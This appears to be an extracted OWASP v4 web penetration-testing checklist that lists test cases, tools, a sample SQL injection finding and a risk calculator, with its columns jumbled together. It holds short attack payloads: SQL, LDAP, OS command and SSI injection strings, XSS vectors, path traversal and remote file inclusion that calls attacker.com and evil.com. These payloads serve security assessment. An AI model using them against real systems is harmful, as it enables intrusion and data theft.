OWASPv4 Checklist
OWASPv4 Checklist
Configuration and
Deploy Management Test Name
Testing
Identity Management
Test Name
Testing
OTG-IDENT-001 Test Role Definitions
Session Management
Test Name
Testing
OTG-SESS-001 Testing for Bypassing Session Management Schema
Oracle Testing
MySQL Testing
Testing PostgreSQL
MS Access Testing
Not Started
Pass
Issues
N/A
Description Tools
Use a search engine to search for Network diagrams and Configurations, Google Hacking, Sitedigger,
Credentials, Error message content. Shodan, FOCA, Punkspider
Find the version and type of a running web server to determine known
Httprint, Httprecon,
vulnerabilities and the appropriate exploits. Using
"HTTP header field ordering" and "Malformed requests test". Desenmascarame
Analyze robots.txt and identify <META> Tags from website. Browser, curl, wget
Webhosting.info, dnsrecon,
Find applications hosted in the webserver (Virtual hosts/Subdomain), non- Nmap, fierce, Recon-ng,
standard ports, DNS zone transfers Intrigue
Find sensitive information from webpage comments and Metadata on Browser, curl, wget
source code.
Identify from hidden fields, parameters, methods HTTP header analysis Burp proxy, ZAP, Tamper data
Map the target application and understand the principal workflows. Burp proxy, ZAP
Find the type of web application framework/CMS from HTTP headers, Whatweb, BlindElephant,
Cookies, Source code, Specific files and folders. Wappalyzer
Identify the web application and version to determine known vulnerabilities Whatweb, BlindElephant,
and the appropriate exploits. Wappalyzer, CMSmap
Identify application architecture including Web language, WAF, Reverse
proxy, Application Server, Backend Database
Browser, curl, wget
Description Tools
Description Tools
Validate the system roles defined within the application by creating
permission matrix.
Burp Proxy, ZAP
Verify that the identity requirements for user registration are aligned Burp Proxy, ZAP
with business and security requirements:
Determine which roles are able to provision users and what sort of Burp Proxy, ZAP
accounts they can provision.
Generic login error statement check, return codes/parameter values,
enumerate all possible valid userids (Login system, Forgot password)
Browser, Burp Proxy, ZAP
User account names are often highly structured (e.g. Joe Bloggs
account name is jbloggs and Fred Nurks account name is fnurks) Browser, Burp Proxy, ZAP
and valid account names can easily be guessed.
Guest and Training accounts are useful ways to acquaint potential users
with system functionality prior to them completing the authorisation
process required for access.Evaluate consistency between access policy
Burp Proxy, ZAP
and guest/training account access permissions.
Verify the identity requirements for user registration align with
business/security requirements. Validate the registration process.
Burp Proxy, ZAP
Description Tools
Check referrer whether its HTTP or HTTPs. Sending data through HTTP
and HTTPS.
Burp Proxy, ZAP
Testing for default credentials of common applications, Testing for default
password of new accounts.
Burp Proxy, ZAP, Hydra
Evaluate the account lockout mechanism’s ability to mitigate
brute force password guessing. Evaluate the unlock mechanism’s Browser
resistance to unauthorized account unlocking.
Force browsing (/admin/main.php, /page.asp?authenticated=yes), Burp Proxy, ZAP
Parameter Modification, Session ID prediction, SQL Injection
Look for passwords being stored in a cookie. Examine the cookies stored
by the application. Verify that the credentials are not stored in clear text, Burp Proxy, ZAP
but are hashed. Autocompleted=off?
Check browser history issue by clicking "Back" button after logging out.
Burp Proxy, ZAP, Firefox add-
Check browser cache issue from HTTP response headers (Cache-
Control: no-cache) on CacheViewer2
Description Tools
dot-dot-slash attack (../), Directory traversal, Local File inclusion/Remote
File Inclusion.
Burp Proxy, ZAP, Wfuzz
Access a resource without authentication?, Bypass ACL, Force browsing
(/admin/adduser.jsp)
Burp Proxy (Autorize), ZAP
Testing for role/privilege manipulate the values of hidden variables.
Change some param groupid=2 to groupid=1
Burp Proxy (Autorize), ZAP
Force changing parameter value (?invoice=123 -> ?invoice=456) Burp Proxy (Autorize), ZAP
Description Tools
SessionID analysis prediction, unencrypted cookie transport, Burp Proxy, ForceSSL, ZAP,
brute-force. CookieDigger
Check HTTPOnly and Secure flag, expiration, inspect for sensitive
Burp Proxy, ZAP
data.
The application doesn't renew the cookie after a successfully user
Burp Proxy, ZAP
authentication.
Encryption & Reuse of session Tokens vulnerabilities, Send
Burp Proxy, ZAP
sessionID with GET method ?
Burp Proxy
(csrf_token_detect), burpy,
URL analysis, Direct access to functions without any token. ZAP
Check reuse session after logout both server-side and SSO. Burp Proxy, ZAP
Check session timeout, after the timeout has passed, all session tokens
should be destroyed or be unusable.
Burp Proxy, ZAP
The application uses the same session variable for more than one
purpose. An attacker can potentially access pages in an order
unanticipated by the developers so that the session variable is set in one
Burp Proxy, ZAP
context and then used in another.
Description Tools
Check for input validation, Replace the vector used to identify XSS, XSS
with HTTP Parameter Pollution.
Burp Proxy, ZAP, Xenotix XSS
Check input forms/Upload forms and analyze HTML codes, Leverage Burp Proxy, ZAP, BeEF, XSS
XSS with BeEF Proxy
Craft custom HTTP requests to test the other methods to bypass URL
authentication and authorization.
netcat
Identify any form or action that allows user-supplied input to bypass Input ZAP, HPP Finder (Chrome
validation and filters using HPP Plugin)
Burp Proxy (SQLipy), SQLMap,
Pangolin, Seclists (FuzzDB)
Union, Boolean, Error based, Out-of-band, Time delay.
Identify URLs for PL/SQL web applications, Access with PL/SQL
Packages, Bypass PL/SQL Exclusion list, SQL Injection
Orascan, SQLInjector
Identify MySQL version, Single quote, Information_schema, Read/Write SQLMap, Mysqloit, Power
file. Injector
Comment operator (- -), Query separator (;), Stored procedures SQLMap, SQLninja, Power
(xp_cmdshell) Injector
Determine that the backend database engine is PostgreSQL by using
the :: cast operator. Read/Write file, Shell Injection (OS command)
SQLMap
Enumerate the column through error-based (Group by), Obtain database
schema combine with fuzzdb.
SQLMap
Identify NoSQL databases, Pass special characters (' " \ ; { } ), Attack with
reserved variable name, operator.
NoSQLMap
/ldapsearch?user=*
user=*user=*)(uid=*))(|(uid=* Burp Proxy, ZAP
pass=password
Testing ORM injection is identical to SQL injection testing Hibernate, Nhibernate
Check with XML Meta Characters
Burp Proxy, ZAP, Wfuzz
', " , <>, <!--/-->, &, <![CDATA[ / ]]>, XXE, TAG
• Presense of .shtml extension
• Check for these characters
Burp Proxy, ZAP
< ! # = / . " - > and [a-zA-Z0-9]
• include String = <!--#include virtual="/etc/passwd" -->
Check for XML error enumeration by supplying a single quote (')
Username: ‘ or ‘1’ = ‘1 Burp Proxy, ZAP
Password: ‘ or ‘1’ = ‘1
• Identifying vulnerable parameters with special characters
(i.e.: \, ‘, “, @, #, !, |)
• Understanding the data flow and deployment structure of the Burp Proxy, ZAP
client
• IMAP/SMTP command injection (Header, Body, Footer)
Enter OS commands in the input field. Burp Proxy, ZAP, Liffy,
?arg=1; system('id') Panoptic
LFI with dot-dot-slash (../../), PHP Wrapper (php://filter/convert.base64-
encode/resource)
Burp Proxy, fimap, Liffy
RFI from malicious URL
?page.php?file=http://attacker.com/malicious_page
Burp Proxy, fimap, Liffy
Understand the application platform, OS, folder structure, relative
path and execute OS commands on a Web server.
Burp Proxy, ZAP, Commix
%3Bcat%20/etc/passwd
test.pdf+|+Dir C:\
• Testing for heap overflow vulnerability
Immunity Canvas, Spike, MSF,
• Testing for stack overflow vulnerability
Nessus
• Testing for format string vulnerability
Description Tools
Locate error codes generated from applications or web servers. Collect
sensitive information from that errors (Web Server, Application Server, Burp Proxy, ZAP
Database)
• Invalid Input / Empty inputs
• Input that contains non alphanumeric characters or query syn
tax Burp Proxy, ZAP
• Access to internal pages without authentication
• Bypassing application flow
Description Tools
Identify SSL service, Idectify weak ciphers/protocols (ie. RC4, BEAST, testssl.sh, SSL Breacher
CRIME, POODLE)
Description Tools
• Looking for data entry points or hand off points between systems or
software. Burp Proxy, ZAP
• Once found try to insert logically invalid data into the application/system.
Description Tools
Test for the user inputs obtained from client-side JavaScript Objects Burp Proxy, DOMinator
Inject JavaScript code:
www.victim.com/?javascript:alert(1)
Burp Proxy, ZAP
Send malicious HTML code:
?user=<img%20src='aaa'%20onerror=alert(1)>
Burp Proxy, ZAP
Modify untrusted URL input to a malicious site: (Open Redirect)
?redirect=www.fake-target.site
Burp Proxy, ZAP
Inject code in the CSS context :
• www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current;
(Opera [8,12])
Burp Proxy, ZAP
• www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
External JavaScript could be easily injected in the trusted web site Burp Proxy, ZAP
www.victim.com/#http://evil.com/js.js
Check the HTTP headers in order to understand how CORS is
used (Origin Header)
Burp Proxy, ZAP
Decompile, Undefined variables, Unsafe methods, Include malicious SWF FlashBang, Flare, Flasm,
(http://victim/file.swf?lang=http://evil SWFScan, SWF Intruder
Discover if a website is vulnerable by loading into an iframe, create simple Burp Proxy, ClickjackingTool
web page that includes a frame containing the target.
Identify that the application is using WebSockets by inspecting ws:// or
wss:// URI scheme.Use Google Chrome's Developer Tools to view the Burp Proxy, Chrome, ZAP,
Network WebSocket communication. Check Origin, Confidentiality and WebSocket Client
Integrity, Authentication, Authorization, Input Sanitization
Analyse JavaScript code looking for how Web Messaging is implemented.
How the website is restricting messages from untrusted domain and how Burp Proxy, ZAP
the data is handled even for trusted domains
Determine whether the website is storing sensitive data in the storage.
Chrome, Firebug, Burp Proxy,
XSS in localstorage
http://server/StoragePOC.html#<img src=x onerror=alert(1)> ZAP
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
No. Vulnerability Name OTG Affected Host/Path Impact Likelihood Risk
www.example.com/ High
1 SQL Injection OTG-INPVAL-005 High Moderate
news.php (id,page)
Test
Observation/Implication Recommendation
Evidence
xxx-1
OWASP Risk Assessment Calculator
Risk Assessment Calculator
Likelihood factors
Threat Agent Factors
Skills required Some technical skills [3] 3
Motive Possible reward [4] 4
Opportunity Full access or expensive resources required [0] 0
Population Size System Administrators [2] 2
Vulnerability Factors
Easy of Discovery Practically impossible [1] 1
Ease of Exploit Easy [5] 5
Awareness Hidden [4] 4
Intrusion Detection Logged and reviewed [3] 3
Impact
Likelihood Low ->Moderate<- High
->Low<- Note ->Low<- Moderate
Moderate Low Moderate High
High Moderate High Critical
k Assessment Calculator
sessment Calculator
Impact factors REF
Technical Impact Factors
Loss of confidentiality Minimal non-sensitive data disclosed [2] 2
Loss of Integrity All data totally corrupt [9] 9
Loss of Availability Minimal secondary services interrupted [1] 1
Loss of Accountability Not Applicable [0] 0
Low
http://paradoslabs.nl/owaspcalc/index.php
Skills required Motive
Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
No technical skills [1] 1 Low or no reward [1] 1
Some technical skills [3] 3 Possible reward [4] 4
Advanced computer user [5] 5 High reward [9] 9
Network and programming skills [6] 6
Security penetration skills [9] 9